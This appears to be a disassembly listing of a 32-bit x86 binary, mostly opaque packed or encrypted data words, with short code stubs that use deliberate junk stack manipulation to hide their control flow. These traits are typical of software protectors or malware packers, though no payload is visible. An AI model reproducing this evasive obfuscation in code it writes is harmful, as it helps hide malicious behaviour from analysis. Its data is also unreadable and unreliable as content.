		dd 90EE549Ch, 0E04AF2F5h, 91329896h, 413531A3h,	0B06CF2A6h
		dd 167CE2A2h, 97BD93Fh,	0E7C79E02h, 209280A5h, 6957B52Bh
		dd 960E097Bh, 0EEC52B91h, 14C3C49Bh, 0B51B66EEh, 530CBC57h
		dd 86ECA2B0h, 0F68BE3AFh, 14B52B20h, 624AADA2h,	0BB62E77h
		dd 0CAAA81E7h, 3477778Bh, 6E18313Bh, 0F47F1A08h, 0C29CC886h
		dd 0C9DBA86Fh, 120B5E42h, 5408A382h, 449CC8B6h,	711278DEh
		dd 0F39408FFh, 791A8681h, 31FD508Eh, 712881A3h,	0C2F90255h
		dd 0D5B05817h, 31589777h, 6BA5543h, 0EE9CC8E4h,	0F842A89Bh
		dd 8CF238BFh, 4AA5402Eh, 3096E052h, 53EEDCCAh, 0A2B0669Fh
		dd 0F97F3487h, 0C19A44BDh, 0B426FD5Bh, 0D4C83FB1h, 202AAFDh
		dd 0E1ECBC8Eh, 8974157Bh, 24FB1A5Eh, 0C837D189h, 0FCEAD89Ch
		dd 0C837AD61h, 252B9D9Ch, 0A5FD5BC1h, 0F780CEDCh, 6DDF0981h
		dd 0B92B02E6h, 8CEA50BCh, 2F03h, 49CC1800h, 3DF18C63h
		dd 299CC838h, 0EF66B0D1h, 33210FFDh, 0C837E498h, 0D36ED49Ch
		dd 9CC8381Fh, 0A243A107h, 0C8170F07h, 0A5AD619Ch, 0C2FFFFFFh
		dd 776246CCh, 1A5E7C67h, 0B29D10FBh, 81FB0260h,	1CC60Ah
		dd 5EDB0000h, 5010FB1Ah, 0C83801B5h, 9883E99Ch,	49CC6550h
		dd 705B7863h, 2E8Ah, 1A5E9F00h,	0DE5010FBh, 3BA17864h
		dd 0A054EFDDh, 8D9CC837h, 65503C27h, 786349CCh,	0A761FD50h
		dd 4D47FB96h, 0C92F9CC8h, 60352D76h, 0CC341F02h, 0F1DF5848h
		dd 3CA0A81Ah, 0AB9970D6h, 0FAD13D39h, 0E79B3694h, 0CB9CC837h
		dd 1A8C0E73h, 0D78B2616h, 0BF9CC837h, 0B61CF359h, 7E6EE658h
		dd 0B4281E90h, 0B0CE8ADDh, 8A1FD35Ah, 8A25C624h, 9CC87E44h
		dd 0F38CBE72h, 5ED0FFFFh, 0AC97F5E7h, 0C26349CCh, 8E7CA3E2h
		dd 385105A0h, 0E6399CC8h, 0E4F763E9h, 0D533997Eh, 0F8ED4CE7h
		dd 0BB2D96E0h, 157B52BAh, 853DD8AFh, 8CA2B11Ah,	0F5D4D34h
		dd 6E0F6AD5h, 0AACA1E1Bh, 409E6A67h, 7B7h, 18ACC00h, 9F000000h
		dd 0AF81F5Eh, 0BBBC2E1Ch, 3806BA55h, 88EE9CC8h,	181C8F2Ah
		dd 0A40A96E0h, 0F2DA5BCDh, 56D7B651h, 1F91A2B0h, 0F2E0B727h
		dd 0B056A357h, 0C72D93A2h, 907CF769h, 958F01EFh, 0DE59CB29h
		dd 0CCCB1BF2h, 73F36553h, 0ACD52D8Bh, 1503E96Ah, 0DA38ACA3h
		dd 5D41C739h, 0D8A71C6Fh, 364F66F5h, 2174E1F9h,	18B12121h
		dd 952198AAh, 3098F65Ch, 536748BEh, 0FE433F3Bh,	0FAE8D63Ch
		dd 0B0A1AB5Fh, 0C3359BA2h, 1C82594Dh, 8FE756BEh, 0BA2E24F2h
		dd 0CE2D79CCh, 9DF0DC56h, 0B14CBE97h, 0A2B078FDh, 0CE2187EDh
		dd 0A6C9E487h, 37DDB32h, 18FD5018h, 0C70BA82Ch,	0BC0AE846h
		dd 800A0230h, 105h, 0F91C5E95h,	0A6FD500Eh, 6F5FD76Fh
		dd 0B80ABD1Ch, 1AD16C5Ah, 0D9CC83Eh, 0C047B9A7h, 419F05DCh
		dd 74625056h, 0C83825D9h, 51AF159Ch, 0C7625066h, 9CC83813h
		dd 0E73F9D03h, 6FA7FA94h, 6FA7B330h, 8F46EE0h, 46CCBFAAh
		dd 13EAD256h, 171879C0h, 0B11746E6h, 7C67604Bh,	32E3FD50h
		dd 1ACA9EB3h, 25787D7Dh, 0AA089CFBh, 7C6786CAh,	260B29Dh
		dd 0C60A81FBh, 46h, 0FB1A5EDBh,	0D0841F0Dh, 0B89CC837h
		dd 5009F452h, 0C83801B5h, 9883E99Ch, 49CC6550h,	0DE507863h
		dd 3E96A66h, 8960C62Ch,	0F7E2C523h, 4F8Ah, 3CAE9C00h, 8539D438h
		dd 0EA9CC838h, 9435886Bh, 0A309D15Dh, 1A5E5A45h, 0B55010FBh
		dd 9CC83801h, 863AD5C3h, 6E9CC838h, 0B99074FCh,	0F87BED53h
		dd 8DF3B614h, 68DE50A2h, 0D9379D74h, 0DE5000EBh, 60247765h
		dd 0D141B0BFh, 69EC5EBCh, 705B9883h, 7567DE50h,	26DA389Eh
		dd 0FFFFFEE9h, 6246CC3Bh, 0E74A9D8Bh, 49AAB1F8h, 10779D7h
		dd 0C5834FB0h, 0D036EA09h, 0E9104F2Fh, 6B3160FBh, 0BB2196E0h
		dd 0F2DA5BCDh, 0A4D0C81Bh, 6EA65380h, 38D3AA08h, 0A2B04E80h
		dd 58522F87h, 0F6A090Ah, 3DCEh,	1F5EE300h
		dd 206F0AF8h, 4E96E00Ch, 27A7FAE8h, 5D76B83h, 0D238ACA4h
		dd 315E217Fh, 0E442D7DDh, 89BA720Dh, 69C1A2B0h,	0F9948218h
		dd 0A2B08A45h, 9371CF35h, 0F6A4945h, 0EA09h, 46CC1E00h
		dd 11198B62h, 0EE64D6ADh, 0BBB123FAh, 3F0BA647h, 4D9CC834h
		dd 1548F6C7h, 0F05BBD58h, 252A9C8Ah, 4EC061BFh,	1F0DE4D8h
		dd 642834CCh, 7DDB9FAEh, 49375E9Dh, 1ED26D5Bh, 69CC8BDh
		dd 0C3299F94h, 0A22BCA65h, 79EB96E0h, 0A00C07FFh, 0FFD63C9h
		dd 0B0D6C074h, 0DC42A8A2h, 0B16500EEh, 99A2B0D6h, 0F6AA4533h
		dd 0DEA2B0D6h, 99791A78h, 5C10AB5Ah, 4CA2B0D7h,	0A49280E6h
		dd 0F3CA3232h, 31942F8Dh, 599CC60Dh, 9F9305F3h,	1C148627h
		dd 93E55EA8h, 2C03F1D1h, 29E78h, 0F7ED6400h, 7B61E456h
		dd 0EC68DAh, 876BED5Fh,	8FC74E6h, 37F4A867h, 0B82ACB33h
		dd 3AAC4DB3h, 0C032D339h, 51B5564Ah, 5F14C863h,	4204A2B6h
		dd 6044CC57h, 0E65FD1BFh, 202698F6h, 0ED7BCEBCh, 1843BD95h
		dd 80E8C7D3h, 0D186B42Dh, 5EE7D273h, 0DC60B1Fh,	9A7D6312h
		dd 6A584634h, 0C9171BCFh, 0DA75809Ch, 3CD0039Bh, 9C000274h
		dd 0A6F95FC5h, 5FA91967h, 0BB56B4FDh, 96E06D6Ch, 32CDA40Ah
		dd 0A2B0A27Ah, 7D5448C0h, 64E7342Ah, 0BB2D4450h, 8A784FB7h
		dd 0B1303BEFh, 0F9C52BA2h, 9142E0A1h, 14624839h, 0D80F6AEFh
		dd 0AEh, 6B7897EAh, 72585F88h, 46CC2914h, 2B9D8B62h, 82E8BF27h
		dd 46BEB224h, 0F893816Fh, 9CC83844h, 4365D3A9h,	0BE8699F9h
		dd 935FFA58h, 399CC8B7h, 0BC2ECF33h, 0DBC146B6h, 61389E04h
		dd 2D1B4281h, 0E09CF392h, 1CBD2396h, 0E8D6FD3Ch, 86317695h
		dd 0F351843Ch, 0AEA51705h, 7B41DC3Ah, 0CB9CCAC9h, 0D057765h
		dd 8286F899h, 0FC4DD01Ah, 0A87FF1D1h, 17EF4h, 178D8400h
		dd 9B010476h, 208C88FAh, 0A70B0D7Fh, 289C9406h,	5714C887h
		dd 0D84AEBD3h, 5ACC6D53h, 0E052F3D9h, 71D5766Ah, 6034E883h
		dd 6224A2B6h, 6044CC77h, 0E3C74DBFh, 46CC5742h,	2B9D8B62h
		dd 0EEA23D29h, 0D69CC837h, 0E0330A70h, 0C75BB435h, 0A81A8068h
		dd 6CDE3CA0h, 816102E6h, 922D1B42h, 96E11AFFh, 0DDD54FC1h
		dd 380F7559h, 46AC74D2h, 7060E658h, 0C79E04F8h,	0A3150361h
		dd 269839ADh, 5CCEBC20h, 0BF96F4D8h, 0F5E95FD1h, 7A5AB81Eh
		dd 8B26143Bh, 9CC6EDBBh, 980C0375h, 0C20C723Ah,	0F1D64C3Dh
		dd 0D4F0A47Bh, 2E000000h, 0AE20C13Bh, 32A445B7h, 0B729CA32h
		dd 3EB051BDh, 7231D2CAh, 950901AAh, 178D82F4h, 9D030476h
		dd 20848AFCh, 922D1B7Fh, 0A2B660DEh, 5E1904C6h,	1C0AF81Fh
		dd 0C837CD81h, 0F957BD9Ch, 66CA1D0Bh, 0CE533227h, 736677CAh
		dd 2D07D02Ah, 49BC34CFh, 3AAC96DEh, 0D45CCE36h,	2A9C8AF0h
		dd 8C63C12Bh, 0FB0141Ah, 5C33979Dh, 31E5806Eh, 19A2B686h
		dd 56BA55B3h, 4EE0215Eh, 210F8BF6h, 0BF80D286h,	0AD1318DCh
		dd 42A870D6h, 8FC72E4h,	42AEA81Ah, 5BD143E4h, 241E9067h
		dd 0DF45ABACh, 0B46803F1h, 0FADCBF80h, 61C78F75h, 8602C03h
		dd 0B7AF2179h, 0AC0A7047h, 2FD0343Ah, 6553B7BDh, 8128DC77h
		dd 0AA10DCBFh, 1587754Ch, 974BA91Dh, 3,	0CC8F7AACh, 16885F45h
		dd 63D5AC10h, 0B325FCE0h, 0FF7148BCh, 4ABC930Bh, 9507DEC6h
		dd 0E6582F93h, 35A77E6Eh, 73F5CC30h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	1D97h
		mov	[esp], edx
		push	ebx
		push	340C3E32h
		pop	ebx
		sub	ebx, 0FC03F4h
		shr	ebx, 5
		add	ebx, 4558DB6h
		mov	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	176Bh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	5989h
		mov	[esp], ecx
		pop	dword ptr [edx+8]
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5497CE
; ---------------------------------------------------------------------------
		db 69h,	0A6h, 71h
		dd 2A5BB83Bh, 0C50305EEh, 1585C650h, 4705E820h,	38172568h
		dd 59B5FFCFh, 8D05E825h, 0E838D785h, 8BD0FF05h,	25858DD8h
		dd 5005E800h, 10468h, 0C6D3FF00h, 0E8201585h, 0BF685305h
		dd 0FF8307F8h, 0E82559B5h, 0D7858D05h, 0FF05E838h, 688589D0h
		dd 8305EE0Dh, 0E80835BDh, 840F0005h, 0Bh, 2AC59D8Bh, 5E905E8h
		dd 0BB000000h, 0
		dd 10068h, 6CB58D00h, 5605EE0Dh, 0B595FF53h, 8D05E827h
		dd 0EE0D6CB5h, 0E9F00305h, 1, 5C3E804Eh, 9840Fh, 3E800000h
		dd 0ED850F2Fh, 0C6FFFFFFh, 858D0006h, 5EE0D6Ch,	6895FF50h
		dd 5805EE0Dh, 8D6AE0FFh, 2C1B5838h, 78D222F1h, 0E58A7696h
		dd 97796Ch, 6CF235C9h, 0DC256B3h, 8D8D67C1h, 5EE2CD6h
		dd 89F2B70Fh, 0E8159D8Dh, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 7BDF75C0h
		dd 0C428DB2Ah, 92BE1176h, 33258059h, 0E82AF9BDh, 585C705h
		dd 0E005E807h, 6A000071h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 6057C352h, 8B662956h
		dd 3ADE80D1h, 0A6185C7h, 5E8h, 6A0000h,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0B5FF9DC3h
		dd 5E8306Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	2FC35242h, 6507EBEEh, 10E8h, 0AF41D400h, 0BA9FDD58h
		dd 1110EFh, 3EA8132Dh, 4D8589CAh, 5F05E80Ch, 0EDE58BBh
		dd 1595FF48h, 6A05E808h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 17ABC357h, 1FD3841Ch
		dd 958B06C3h, 5E82AA5h,	95FF006Ah, 5E820F9h, 6BEBC08Bh
		dd 97CBB14Fh, 95915D4Dh, 5E4C3F62h, 2F9D03F2h, 5B8DF5B7h
		dd 0E277CE94h, 79CACFE8h, 0A2EB203h, 3D8496ACh,	7AD5A695h
		dd 3CCF6A96h, 24EE5ED0h, 0E795842Eh, 0C3FA63C6h, 0C9308B73h
		dd 0F02D774Fh, 0F86C4D94h, 7806102Eh, 0A41EBF46h, 0D268BC9h
		dd 0B13ED15Dh, 184FA404h, 2EA333E2h, 0A62C7B09h, 4369039Eh
		dd 5ACAE63Bh, 0EBDF06C1h, 0B61B9026h, 8EAFEC33h, 64746E55h
		dd 642E6C6Ch, 88006C6Ch, 34074621h, 0BDA3D25Dh,	2220C0h
		dd 0
		dd 0E9000000h, 677h, 0EE2E9668h, 5124E905h, 5E68FFFAh
		dd 0E905EE2Fh, 0FFFA511Ah, 0EE302068h, 5110E905h, 0C768FFFAh
		dd 0E905EE30h, 0FFFA5106h, 0EE319968h, 50FCE905h, 0A968FFFAh
		dd 0E905EE32h, 0FFFA50F2h, 6D0EF67Bh, 0F1927AFBh, 7617877Fh
		dd 0FD9E0204h, 7E1F878Bh, 0DA4E1FBFh, 58CF41E2h, 0D651C364h
		dd 51D749EAh, 7A68CC6Dh, 0B6652BDFh, 6E591BA2h,	288Ah
		dd 46CC9F00h, 378B3FDAh, 97B9CC8h, 0D43AA00Ch, 86210FFDh
		dd 9CC837D2h, 8CFE5CC2h, 0E6812286h, 9CC8382Eh,	6C0DF374h
		dd 3FD5081h, 0FFD39351h, 8FCEAE0Ch, 4DF7A68h, 7296E089h
		dd 0A4AC1E0Ch, 0A5036940h, 897B33CEh, 2A82A2B0h, 48055357h
		dd 36C90F6Ah, 0DE000002h, 174DFD50h, 0DD5BA05Dh, 17C2F7Fh
		dd 0C47813C2h, 0B49CC85Ah, 5FFAE84Eh, 96E03ADCh, 2FCA44AAh
		dd 56017388h, 0AF81F5Eh, 0A6D9946Fh, 0A57CE258h, 715F86C5h
		dd 0C62EED6h, 0CAB81E5Bh, 0EED258h, 77A727ADh, 0D345C348h
		dd 6E0F6D51h, 489276FCh, 0B3947EC5h, 0C26C20F7h, 62000004h
		dd 0E254F5EFh, 66D87963h, 0EB5DFEEEh, 72E48569h, 0A66506FEh
		dd 0C93D35F6h, 4BB1B628h, 0D13F38AAh, 5448BE30h, 0C6614FB3h
		dd 0A2B66612h, 0CC554002h, 9D8B6246h, 0AE07E24Ah, 4BA99B34h
		dd 17052C6Bh, 0E0F6057Ch, 5BDD4F96h, 0C83AA077h, 3A02604Ch
		dd 0D34533D4h, 0BC0C6A52h, 190E80F3h, 0DA5ACCA3h, 4E2E8CF2h
		dd 5FFAE80Fh, 9CC8DADCh, 2FCA44AAh, 5AF622Eh, 0C0F067BAh
		dd 9FF122A0h, 0FB226141h, 0A297720Dh, 79DF2F7Dh, 5C83C2A2h
		dd 9074FC6Eh, 0C1A94432h, 0AB34532Bh, 61543058h, 85A3F6EAh
		dd 9C64C203h, 5DD64836h, 0D432986Fh, 0AFE74E6h,	44A8AA1Ch
		dd 8A9076Dh, 0E22C9096h, 8A6E385Dh, 0FA10C49Bh,	2A000003h
		dd 0AA1CBD27h, 2EA041ABh, 0B325C636h, 3AAC4DB1h, 6E2DCE36h
		dd 9175FDAEh, 13897EF0h, 99070072h, 1C8086F8h, 8E29177Bh
		dd 0A2B666DAh, 0CC1D08CAh, 9D8B6246h, 0EDC4282Bh, 0A492987h
		dd 9507F5E3h, 0A13C2A9Eh, 9CC837EDh, 7E1977DDh,	96E030BFh
		dd 0C93B298Fh, 33865D41h, 644054F0h, 0C5B3193Fh, 0B0D7762Ah
		dd 9AF85EA2h, 0B3DA19F9h, 8A622AC5h, 0C0329CC7h, 197F564Ah
		dd 0D153C5B3h, 2FA18FEDh, 43B3B939h, 9A00D7CFh,	6EE0CE34h
		dd 2DE17CF8h, 1D9CCEEAh, 52F351B7h, 8973F264h, 7CEE4CB2h
		dd 4D3B12F6h, 9D7458DBh, 0BAF9D937h, 330AA593h,	2396E6C3h
		dd 0D42473BDh, 5F36F7BDh, 338ABh, 7F65EC00h, 3E96CDEh
		dd 8874F062h, 0FF375E7h, 9074FC6Eh, 0BF6C30EFh,	40B2534Bh
		dd 0C234D5CBh, 48BA5B41h, 0D93DDEC2h, 679C50EBh, 0CA8CA2B6h
		dd 6246CCDFh, 456CAB8Bh, 7E62E557h, 3C973220h, 0FA96E014h
		dd 9305F394h, 15C9279Fh, 19Bh, 0BB22EE2Ah, 7967557Ch, 0C69D0107h
		dd 38893DD8h, 0B719CC8h, 29AC47A5h, 0F196E018h,	7E76118Bh
		dd 0D6A6F740h, 0E7827097h, 87B4E2D8h, 4B391076h, 130EC25Dh
		dd 90F69205h, 0EC135232h, 977B63FEh, 258B8C1Ah,	5B4FC537h
		dd 0DEC248BAh, 0A6DF3394h, 0D68A61E2h, 291h, 85269E93h
		dd 9AA1213h, 8E2F9F97h,	15B61A1Ch, 9637AFA3h, 0E26607D7h
		dd 60E759FAh, 0EE69DB7Ch, 79EF6102h, 9280E485h,	0B66843F7h
		dd 867133A2h, 746246CCh, 0BF960E02h, 4424FB59h,	55F0DE05h
		dd 96E034DEh, 0F545E64Ch, 2CC7B526h, 0A2B03A78h, 0BC9CFA60h
		dd 7A68567Dh, 3F9D0308h, 0C81A21A4h, 983E99Ch, 0EA51196Eh
		dd 0CFF6350Fh, 8581F3E1h, 0CDA4080Dh, 9B8F0167h, 88E64C23h
		dd 0C1D5DEEDh, 0CD685625h, 27D1FE19h, 753D9B01h, 0D84A380Fh
		dd 3313715Fh, 164DE0F4h, 0A185A443h, 0F1C8342Fh, 9C37258Bh
		dd 21E772B4h, 9F372E4h,	7866CC32h, 0C79E0E06h, 48A3ED9h
		dd 147A2BABh, 0F06250AEh, 73E5867Ah, 54BF09FDh,	9680B20Ch
		dd 1BF0BBFh, 0EC650000h, 60E557F8h, 0ED69DB7Ch,	74EE6001h
		dd 0FD75E788h, 0F5A96809h, 2BCC3038h, 0AD4EB2B9h, 33D4383Bh
		dd 0B6574BC1h, 15C96452h, 5A2B669h, 0DE505843h,	359B726Ah
		dd 0FBEF65D7h, 96311F0Dh, 9CC837E2h, 1DD16CD2h,	0D9CC838h
		dd 0CD3135A7h, 5B3290F6h, 27153C7Bh, 0E030CD8Ch, 86278D96h
		dd 5B0FAA98h, 4BA2B03Fh, 3F0EC25Dh, 90F6A2B0h, 5EE1CC2Ah
		dd 1C0AF81Fh, 37DF932Eh, 74C79CC8h, 0E1F6E9A6h,	48369C2Bh
		dd 0C84EF9ADh, 1D7BE19Ch, 0DF01C082h, 402E9496h, 0C36458CEh
		dd 22DB82D5h, 85788F5h,	277A1847h, 0B51336FAh, 2D9CD43h
		dd 0D78B2614h, 0BFA2B6C6h, 0DC1BFB59h, 0DB41ADA9h, 898DFFEDh
		dd 8AE84E25h, 0CD79FFEFh, 1B096F9Ch, 3033A3A9h,	298FF5CCh
		dd 6FA4D3Bh, 2F0992F5h,	52E59934h, 14AF9CC8h, 9CC85360h
		dd 0B41AE248h, 0CD43B556h, 0F279EBD9h, 0F9D9B00Eh, 0AA593BAh
		dd 96E10383h, 76A3ED53h, 84F7B76Ah, 0AFF9ADh, 0FC750000h
		dd 70F56708h, 0FD79EB8Ch, 4FE7011h, 8D85F798h, 0E5B97819h
		dd 3BDCC048h, 0BD5E42C9h, 43E4C84Bh, 0C6675BD1h, 25D97462h
		dd 15A2B66Ah, 1F5E6853h, 0AA1C0AF8h, 0B95442AAh, 9CC83805h
		dd 96318FF5h, 96DEEABCh, 1734AB0h, 37A9970Bh, 0CC6DCB33h
		dd 0A155F0DEh, 89A2B664h, 46BAB123h, 39AB096Fh,	5DF8CF33h
		dd 0FAE75023h, 60B6CB23h, 826AEAEAh, 3097B1Ch, 65EB19Fh
		dd 0AA708A91h, 0E6582F8Dh, 0DDA9806Ch, 141AFC85h, 59D98D28h
		dd 5BC1BEE8h, 187E62E9h, 51BFB82Ah, 9E02087Ah, 9DFB61C7h
		dd 20848AFCh, 39549h, 7AAA0000h, 5F45CC8Fh, 0AC101688h
		dd 0FCE063D5h, 48BCB325h, 930BFF71h, 0DEC64ABCh, 2F939507h
		dd 7E6EE658h, 0CC3035A7h, 346873F5h, 8900003Bh,	682434h
		dd 89000013h, 89512414h, 4C181E1h, 81000000h, 4E9h, 240C8700h
		dd 242C895Ch, 2DAFB850h, 0C28905EEh, 8324048Bh,	8B5404C4h
		dd 0C481242Ch, 4, 419F68h, 24148900h, 8B08458Fh
		db 2Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_5497CE
; ---------------------------------------------------------------------------
		dw 1A98h
		dd 0B85FECD0h, 5EE337Dh, 0E0FFC503h, 278B6A2Fh,	549E92F4h
		dd 26D15CC9h, 19B24FBBh, 69E1FF75h, 17B9A0D8h, 7ADB33F2h
		dd 6BC502CDh, 6B98BB3Bh, 6FBE9298h, 40ED3130h, 1BD6D51Ch
		dd 28AB222Fh, 3DF2BADCh, 4BF57B36h, 2D3D4A51h, 36FE9B17h
		dd 22812C32h, 1417830Ch, 10E8h,	33B8D800h, 0EEF49E71h
		dd 99239E2h, 0F4286B97h, 0F5BF500h, 80h, 0A5C38100h, 0F000068h
		dd 0F81h, 7E86000h, 72000000h, 64D3630h, 615901D3h, 19FD68h
		dd 8B605A00h, 0B96656FAh, 61582E0Fh, 0E95E33FFh, 6, 497EF191h
		dd 0C681990Ch, 748FD6CAh, 6F1DBF66h, 0CC9BF681h, 0F480514Dh
		dd 0A0C68181h, 60404F8Ah, 61F8F1B3h, 0B70F3389h, 0B7EB81C6h
		dd 0F1277BFh, 0C8Eh, 6850F00h, 0F000000h, 83h, 0B3C38100h
		dd 0B91277BFh, 586A02E3h, 0F01EA83h, 0FFFFA385h, 10E9FFh
		dd 260E0000h, 0F81297AAh, 65139864h, 0BCF6CBEAh, 8EB1EF8h
		dd 0
		dd 218F864Eh, 4ACE9h, 36096800h, 8FE905EEh, 68FFFA49h
		dd 5EE36B7h, 0FA4985E9h, 37F168FFh, 7BE905EEh, 0F2FFFA49h
		dd 72E4857Fh, 0F66809F3h, 7BED8E7Eh, 27415F9h, 36F5960Eh
		dd 594DC566h, 0DBC146B8h, 614FC83Ah, 0E4D84EC0h, 56F1DF43h
		dd 0A2B66CA2h, 70E2D092h, 8C70F8F8h, 77E94F26h,	0C6B10FFFh
		dd 896044CCh, 0BFAD1117h, 88E6CA4Dh, 0A1C807E7h, 1F8918B3h
		dd 36996E0h, 50D9912Ch,	88E0A2B0h, 1063B1F9h, 50C20F6Ah
		dd 0FF75E7D5h, 70CE340Bh, 2EAE7h, 38EEFC00h, 715F86C5h
		dd 0E01853D6h, 239D0396h, 4FF16988h, 2B52919Fh,	58E3A23Dh
		dd 9F8D8F6Dh, 2D9B5004h, 7FD2389Ah, 0AA777F5Bh,	0BD85E33Dh
		dd 61A08057h, 0FAF94C3Ah, 0C8860A06h, 857361BFh, 0EC48FC97h
		dd 0CA309A2Dh, 0B38CD16Ch, 48BA9446h, 9F05DCC0h, 53D94B39h
		dd 1E2E816Fh, 40BA923Fh, 72E485E3h, 0E6BE08FCh,	2EA5D13h
		dd 307772Bh, 5CD50000h,	0D055C768h, 5DD94BECh, 0E45ED071h
		dd 6DE557F8h, 4519D879h, 9B3CA0A8h, 1DBE2229h, 0A344A8ABh
		dd 26C73B31h, 8539D4C2h, 75A2B66Eh, 0FD50C8B3h,	0EC58E048h
		dd 6343A1D3h, 26DA7524h, 0E9CC880h, 15442A8h, 57F170E1h
		dd 0C0AE0C49h, 0DFA88425h, 0E37E6C96h, 0A2B7292Fh, 0DA40C417h
		dd 1390EE10h, 21874FADh, 0CD49C133h, 0B7257E32h, 9A0066A2h
		dd 6F23BEACh, 57A2B725h, 157B6FE5h, 0D52816B7h,	33573807h
		dd 1BB17F5Eh, 968DE9E1h, 0E860D230h, 1A806CE8h,	6EEBA843h
		dd 0EB61A2B6h, 1B8165EBh, 0E11FEFD1h, 94481FEBh, 259h
		dd 75168E83h, 0F99A0203h, 7E1F8F87h, 5A60A0Ch, 86279F93h
		dd 0D25617C7h, 50D749EAh, 0DE59CB6Ch, 69DF51F2h, 8270D475h
		dd 0B66E33E7h, 766123A2h, 0AF81F5Eh, 661AC91Ch,	7B05C24Ah
		dd 44A20E09h, 0DFE108A9h, 0C9A00696h, 0B702762Eh, 5C257DA2h
		dd 70BD004Eh, 171C40Fh,	0CCD90000h, 198B6246h, 3BA3A313h
		dd 0F798FE64h, 0C3B1D817h, 0E009F928h, 9C73D996h, 0AD405BAEh
		dd 100AED10h, 0EF5F17B2h, 0E66A2B0h, 0AAE93773h, 29AD0F6Ah
		dd 0C2000000h, 0AF81F5Eh, 0E00C206Fh, 11E84E96h, 5211D023h
		dd 4E43319Fh, 349D55F0h, 4CA4A2B1h, 0F4277535h,	0BCEB0F6Ah
		dd 0
		dd 8B6246CCh, 0C1252B9Dh, 0DF378EAh, 0C6AD036h,	572E969Ah
		dd 2CE07B69h, 1C9CC838h, 60E658B6h, 3D33A57Ch, 0EF55B9BDh
		dd 239B8F01h, 37E69A35h, 68CE9CC8h, 8D7B690Ah, 0C8383EF2h
		dd 15FB7C9Ch, 0EE89E74Dh, 9CC83390h, 40C4343Ah,	0B91F855Ch
		dd 0D2F93818h, 94E849E4h, 0C02696E2h, 6CE860D2h, 0B2DA1DD1h
		dd 0F9BA0DA2h, 72C047ECh, 10B1177Dh, 2E26AA9Eh,	2A0E58BEh
		dd 66F7BA41h, 11FDB8Fh,	0B4BD0000h, 383DAF50h, 45C133D4h
		dd 0CC46B859h, 45CD3FE0h, 5D01C061h, 83249890h,	5A61A11h
		dd 8B2C9093h, 0EAF1319h, 6D21BCAAh, 5DA2B66Fh, 44CCB09Bh
		dd 0C74DBF60h, 0CC5742E3h, 198B6246h, 0D3C1AF13h, 0C8388438h
		dd 0B00E749Ch, 41F02F0Fh, 0C837F2A6h, 0F570E29Ch, 4D3BA107h
		dd 0E0CAE0B2h, 402E9496h, 8F6656CEh, 4FBFB729h,	999103F1h
		dd 0E3A15D38h, 0D73DD540h, 88E39B36h, 3BADA2B0h, 93F9D034h
		dd 594DC335h, 0DAC246B8h, 8F4F03h, 50640000h, 49E93FDh
		dd 5DC39A0Eh, 6F1E560Ah, 0CBF23111h, 7C8542DDh,	0B7196DFh
		dd 0D04CC234h, 0B6E68135h, 9D0369A2h, 7226C1AFh, 62A2B6E6h
		dd 0B28977F0h, 0E788E64Ch, 1D0BFF75h, 0D244A8ABh, 2C926953h
		dd 2F5CF7CEh, 3DF65929h, 0AAFDD438h, 1B360DEAh,	64E052AAh
		dd 724B268Bh, 187EBD07h, 50318941h, 0BFC21AD2h,	4CEDD157h
		dd 997054DAh, 0D3C12D27h, 9AF8E461h, 0E29FF7C3h, 29CA3E34h
		dd 0CA41B1B7h, 3399FFD6h, 3A85Ch, 7ABD0000h, 5F45CC8Fh
		dd 0AC101688h, 0FCE063D5h, 48BCB325h, 930BFF71h, 0DEC64ABCh
		dd 2F939507h, 7E6EE658h, 0CC3035A7h, 895073F5h,	405E0h
		dd 0E8830000h, 24048704h, 240C895Ch, 0B9D68h, 243C8900h
		dd 7C1168h, 240C8900h, 5026BA52h, 0C2815295h, 5F684031h
		dd 2CF2F281h, 0DAF76ACEh, 7CF2814Ah, 89212276h,	24148BD7h
		dd 5404C483h, 83240C8Bh, 0B76804C4h, 8900002Dh,	418F243Ch
		dd 240C8B08h, 81E38953h, 4C3h, 4C38300h, 5C241C87h, 5F2434FFh
		dd 0E904C483h, 0FFFA44F6h, 0EAC245B6h, 5BDC0282h, 3935B8E5h
		dd 0C50305EEh, 0CF76E0FFh, 5E8546C2h, 43EB23D0h, 0E14363Fh
		dd 0B94C73EBh, 9D69A8h,	42B2617Dh, 37381FF5h, 9A7B5DD7h
		dd 67AD4A5Dh, 0FEDE7D66h, 64774EFEh, 4C723BF8h,	7C334AB5h
		dd 0C1333393h, 70826452h, 4E316350h, 5B7770EFh,	0D1EF0144h
		dd 31974657h, 5FC103C7h, 5D958EEh, 91B515A2h, 0AF975A46h
		dd 198710ADh, 12E80475h, 0C1000000h, 0AB43D987h, 0E947A0DDh
		dd 793252A9h, 8355A05Bh, 61C380DFh, 0C181FC59h,	601Ah
		dd 0AE96060h, 18000000h, 0E7820138h, 0DB99C63Dh, 2DD781F1h
		dd 612414DDh, 0BDC68166h, 48BF6189h, 8139BE7Eh,	419990C7h
		dd 0FFC28BC6h, 0EE931h,	0B22D0000h, 0F4D807A8h,	8968B5F0h
		dd 0E0E82D3Fh, 0C38B665Ah, 0C4D0F281h, 0E9560EBDh, 0Fh
